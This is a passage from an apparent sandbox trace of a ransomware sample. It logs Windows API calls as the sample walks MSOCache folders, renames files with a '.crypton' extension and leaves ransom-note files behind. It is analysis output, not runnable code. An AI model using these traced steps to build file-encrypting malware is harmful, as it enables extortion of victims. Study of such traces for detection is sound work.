cAlternateFileName="INFOPA~1.MSI")) returned 1 [0069.535] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0069.535] AreFileApisANSI () returned 1 [0069.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0069.538] AreFileApisANSI () returned 1 [0069.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0069.538] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.crypton"), dwFlags=0x2) returned 1 [0069.538] AreFileApisANSI () returned 1 [0069.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0069.539] AreFileApisANSI () returned 1 [0069.539] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpFilePart=0x0) returned 0x4e [0069.539] GetLastError () returned 0x2 [0069.539] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0069.539] AreFileApisANSI () returned 1 [0069.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.541] AreFileApisANSI () returned 1 [0069.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.541] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0069.542] AreFileApisANSI () returned 1 [0069.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.542] AreFileApisANSI () returned 1 [0069.542] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0069.542] GetLastError () returned 0x2 [0069.542] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0069.542] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0069.542] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0069.542] AreFileApisANSI () returned 1 [0069.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.545] AreFileApisANSI () returned 1 [0069.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0069.546] AreFileApisANSI () returned 1 [0069.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.547] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa6cfdd40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cfdd40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549750 [0069.548] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa6cfdd40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cfdd40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0069.548] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6cfdd40, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6cfdd40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cfdd40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.548] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6cfdd40, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6cfdd40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cfdd40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.548] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6cfdd40, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6cfdd40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cfdd40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.548] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0069.548] AreFileApisANSI () returned 1 [0069.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.554] AreFileApisANSI () returned 1 [0069.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.554] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0069.555] AreFileApisANSI () returned 1 [0069.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.555] AreFileApisANSI () returned 1 [0069.555] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0069.555] GetLastError () returned 0x2 [0069.555] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0069.555] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0069.555] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0069.555] AreFileApisANSI () returned 1 [0069.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0069.562] AreFileApisANSI () returned 1 [0069.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0069.562] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.crypton"), dwFlags=0x2) returned 1 [0069.563] AreFileApisANSI () returned 1 [0069.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0069.563] AreFileApisANSI () returned 1 [0069.563] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpFilePart=0x0) returned 0x4b [0069.563] GetLastError () returned 0x2 [0069.563] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0069.563] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0069.563] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0069.563] AreFileApisANSI () returned 1 [0069.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.567] AreFileApisANSI () returned 1 [0069.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0069.568] AreFileApisANSI () returned 1 [0069.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.569] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6d23ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6d23ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549750 [0069.569] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6d23ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6d23ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0069.569] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6d23ea0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6d23ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6d23ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.569] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6d23ea0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6d23ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6d23ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.569] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6d23ea0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6d23ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6d23ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.570] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0069.570] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0069.570] AreFileApisANSI () returned 1 [0069.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0069.573] AreFileApisANSI () returned 1 [0069.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0069.573] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.crypton"), dwFlags=0x2) returned 1 [0069.573] AreFileApisANSI () returned 1 [0069.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0069.573] AreFileApisANSI () returned 1 [0069.573] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpFilePart=0x0) returned 0x4d [0069.573] GetLastError () returned 0x2 [0069.573] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0069.573] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0069.573] AreFileApisANSI () returned 1 [0069.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.576] AreFileApisANSI () returned 1 [0069.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.576] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0069.577] AreFileApisANSI () returned 1 [0069.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.577] AreFileApisANSI () returned 1 [0069.577] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0069.577] GetLastError () returned 0x2 [0069.577] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0069.577] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0069.577] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0069.577] AreFileApisANSI () returned 1 [0069.577] 